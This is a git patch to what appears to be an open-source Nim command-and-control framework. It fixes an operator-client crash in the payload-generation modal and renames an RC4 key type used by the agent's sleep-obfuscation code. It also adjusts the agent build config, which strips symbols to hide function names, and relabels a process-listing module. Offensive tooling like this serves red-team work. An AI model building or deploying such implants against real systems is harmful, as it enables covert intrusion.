From 8a22cf9e5397b5c8c7c6d889b849b8debaf8077c Mon Sep 17 00:00:00 2001 From: Jakob Friedl <71284620+jakobfriedl@users.noreply.github.com> Date: Tue, 4 Nov 2025 22:37:26 +0100 Subject: [PATCH] Client no longer crashes when payload generation modal is closed prematurely. --- conquest.nimble | 2 +- src/agent/core/sleepmask.nim | 2 +- src/agent/nim.cfg | 2 +- src/client/main.nim | 2 +- src/client/views/listeners.nim | 3 ++- src/client/views/modals/generatePayload.nim | 8 ++++++-- src/common/crypto.nim | 2 +- src/common/types.nim | 10 +--------- src/modules/systeminfo.nim | 3 ++- 9 files changed, 16 insertions(+), 18 deletions(-) diff --git a/conquest.nimble b/conquest.nimble index 240baa6..4b5988e 100644 --- a/conquest.nimble +++ b/conquest.nimble @@ -25,7 +25,7 @@ requires "nimcrypto >= 0.6.4" requires "tiny_sqlite >= 0.2.0" requires "winim >= 3.9.4" requires "ptr_math >= 0.3.0" -requires "imguin >= 1.92.2.1" +requires "imguin >= 1.92.4.0" requires "zippy >= 0.10.16" requires "mummy >= 0.4.6" requires "whisky >= 0.1.3" diff --git a/src/agent/core/sleepmask.nim b/src/agent/core/sleepmask.nim index b994dfe..6934c04 100644 --- a/src/agent/core/sleepmask.nim +++ b/src/agent/core/sleepmask.nim @@ -643,7 +643,7 @@ proc sleepObfuscate*(sleepSettings: SleepSettings) = img.Length = imageSize # Generate random encryption key - var keyBuffer: string = Bytes.toString(generateBytes(Key16)) + var keyBuffer: string = Bytes.toString(generateBytes(KeyRC4)) key.Buffer = addr keyBuffer key.Length = cast[DWORD](keyBuffer.len()) diff --git a/src/agent/nim.cfg b/src/agent/nim.cfg index 9554f7e..94bcf27 100644 --- a/src/agent/nim.cfg +++ b/src/agent/nim.cfg @@ -5,5 +5,5 @@ --passL:"-s" # Strip symbols, such as sensitive function names -d:CONFIGURATION="PLACEHOLDERAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPLACEHOLDER" -d:MODULES="511" --d:VERBOSE="true" +-d:VERBOSE="false" -o:"/mnt/c/Users/jakob/Documents/Projects/conquest/bin/monarch.x64.exe" \ No newline at end of file diff --git a/src/client/main.nim b/src/client/main.nim index c387283..0840e72 100644 --- a/src/client/main.nim +++ b/src/client/main.nim @@ -129,7 +129,7 @@ proc main(ip: string = "localhost", port: int = 37573) = # Close and reset the payload generation modal window when the payload was received listenersTable.generatePayloadModal.resetModalValues() - igClosePopupToLevel(0, false) + listenersTable.generatePayloadModal.show = false of CLIENT_CONSOLE_ITEM: let agentId = event.data["agentId"].getStr() diff --git a/src/client/views/listeners.nim b/src/client/views/listeners.nim index b509030..d5cdb61 100644 --- a/src/client/views/listeners.nim +++ b/src/client/views/listeners.nim @@ -34,7 +34,8 @@ proc draw*(component: ListenersTableComponent, showComponent: ptr bool, connecti # Payload generation modal (only enabled when at least one listener is active) igBeginDisabled(component.listeners.len() <= 0) - if igButton("Generate Payload", vec2(0.0f, 0.0f)): + if igButton("Generate Payload", vec2(0.0f, 0.0f)): + component.generatePayloadModal.show = true igOpenPopup_str("Generate Payload", ImGui_PopupFlags_None.int32) igEndDisabled() diff --git a/src/client/views/modals/generatePayload.nim b/src/client/views/modals/generatePayload.nim index 4716aa7..f433541 100644 --- a/src/client/views/modals/generatePayload.nim +++ b/src/client/views/modals/generatePayload.nim @@ -9,6 +9,7 @@ export addItem type AgentModalComponent* = ref object of RootObj + show*: bool listener: int32 sleepDelay: uint32 jitter: int32 @@ -28,6 +29,7 @@ type proc AgentModal*(): AgentModalComponent = result = new AgentModalComponent + result.show = false result.listener = 0 result.sleepDelay = 5 result.jitter = 15 @@ -96,11 +98,13 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui let modalWidth = max(500.0f, vp.Size.x * 0.25) igSetNextWindowSize(vec2(modalWidth, 0.0f), ImGuiCond_Always.int32) - var show = true + var show = component.show let windowFlags = ImGuiWindowFlags_None.int32 # or ImGuiWindowFlags_NoMove.int32 if igBeginPopupModal("Generate Payload", addr show, windowFlags): defer: igEndPopup() + component.show = show + var availableSize: ImVec2 igGetContentRegionAvail(addr availableSize) @@ -234,7 +238,7 @@ proc draw*(component: AgentModalComponent, listeners: seq[UIListener]): AgentBui killDate: if component.killDateEnabled: component.killDate else: 0, modules: modules ) - + igEndDisabled() igSameLine(0.0f, textSpacing) diff --git a/src/common/crypto.nim b/src/common/crypto.nim index b2dc94a..fa9e3d2 100644 --- a/src/common/crypto.nim +++ b/src/common/crypto.nim @@ -7,7 +7,7 @@ import ./[types, utils] Symmetric AES256 GCM encryption for secure C2 traffic Ensures both confidentiality and integrity of the packet ]# -proc generateBytes*(T: typedesc[Key | Iv | Key16]): array = +proc generateBytes*(T: typedesc[Key | Iv | KeyRC4]): array = var bytes: T if randomBytes(bytes) != sizeof(T): raise newException(CatchableError, protect("Failed to generate byte array.")) diff --git a/src/common/types.nim b/src/common/types.nim index dc71c4b..b232fd8 100644 --- a/src/common/types.nim +++ b/src/common/types.nim @@ -71,14 +71,6 @@ type RESULT_BINARY = 1'u8 RESULT_NO_OUTPUT = 2'u8 - ConfigType* = enum - CONFIG_LISTENER_UUID = 0'u8 - CONFIG_LISTENER_IP = 1'u8 - CONFIG_LISTENER_PORT = 2'u8 - CONFIG_SLEEP_DELAY = 3'u8 - CONFIG_PUBLIC_KEY = 4'u8 - CONFIG_PROFILE = 5'u8 - LogType* {.size: sizeof(uint8).} = enum LOG_INFO = "[INFO] " LOG_ERROR = "[FAIL] " @@ -120,7 +112,7 @@ type Key* = array[32, byte] Iv* = array[12, byte] AuthenticationTag* = array[16, byte] - Key16* = array[16, byte] + KeyRC4* = array[16, byte] # Packet structure type diff --git a/src/modules/systeminfo.nim b/src/modules/systeminfo.nim index afcc21e..00ed5dc 100644 --- a/src/modules/systeminfo.nim +++ b/src/modules/systeminfo.nim @@ -84,6 +84,7 @@ when defined(agent): hProcess: HANDLE user: string + # User context hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe32.th32ProcessID) if hProcess != 0: if OpenProcessToken(hProcess, TOKEN_QUERY, addr hToken): @@ -129,7 +130,7 @@ when defined(agent): processes.add(pid) # Add header row - let headers = @[protect("PID"), protect("PPID"), protect("Process"), protect("Username")] + let headers = @[protect("PID"), protect("PPID"), protect("Process"), protect("User context")] output &= fmt"{headers[0]:<10}{headers[1]:<10}{headers[2]:<40}{headers[3]}" & "\n" output &= "-".repeat(len(headers[0])).alignLeft(10) & "-".repeat(len(headers[1])).alignLeft(10) & "-".repeat(len(headers[2])).alignLeft(40) & "-".repeat(len(headers[3])) & "\n"